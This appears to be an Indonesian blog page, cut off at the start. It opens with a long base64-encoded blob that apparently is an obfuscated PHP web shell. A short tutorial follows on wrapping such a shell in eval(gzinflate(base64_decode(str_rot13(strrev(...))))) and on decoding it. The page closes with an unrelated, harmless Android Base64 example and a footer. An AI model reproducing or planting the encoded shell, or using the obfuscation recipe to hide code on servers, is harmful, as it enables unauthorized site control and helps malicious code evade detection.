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'))))); ?>

    Karena tadi eval menjalankan $syntax=

    Sekarang kita akan ubah eval untuk menjalan encode <? eval(gzinflate(base64_decode(str_rot13(strrev('isi encode')))); ?>

    Sekarang kita buka lagi shell nya apakah ada error ? jika tidak kita langsung decode shell ini ..

    Jika terjadi begini selamat agan sukses :D :D


    Sekarang CTRL+U Lalu copy isi semua code tadi :D dan tambagin <? didepannya ..

    Selamat ..Anda sudah menjadi programer kwkwkwk :D :D


    Thaanks  Sourcode :  http://dumaicodes.blogspot.com
  • Encode dan Decode Base64 pada Pemrograman Android

    Base64 tentu kita sudah tidak asing lagi, base 64 di gunakan untuk menyimpan data binner kedalam sebuah text, sehingga data binner tadi dapat di kirim atau di simpan dalam media yang di rancang untuk text.
    Sebagai contoh apabila kita ingin menyimpan sebuah file mp3 dalam file text tanpa menyebabkan resiko kerusakan file mp3 itu sendiri maka base64 menjadi solusinya. meskipun begitu data yang di encode ke dalam base64 ukurannya menjadi meningkat.
    Dalam membuat aplikasi android base64 juga terkadang di perlukan, singkat saja, langsung menuju intinya  berikut ini code yang bisa anda gunakan untuk meng-Encode dan Decode base64.

    // encode
         
        String text = "aku cinta kamu";
        byte[] base64byte = Base64.encode(text.getBytes(), Base64.DEFAULT);
        String hasil = new String(base64byte);
         
        System.out.println(hasil);
         
         
         
        // decode
         
        byte[] textByte = Base64.decode(hasil.getBytes(), Base64.DEFAULT);
        String jaditextlagi = new String(textByte);
         
        System.out.println(jaditextlagi);
     
     

    Sederhana bukan?


    Thank's Sourcode :  http://www.ttsberita.com


    Tags:
    Encode dan Decode Base64 pada Pemrograman Android
    Tutorial Encode dan Decode Base64 pada Pemrograman Android
    Cara Encode dan Decode Base64 pada Pemrograman Android

  • Nisekoi Template Designed by Johanes Djogan

    ©2016 - ReDesigned By Ani-Sudo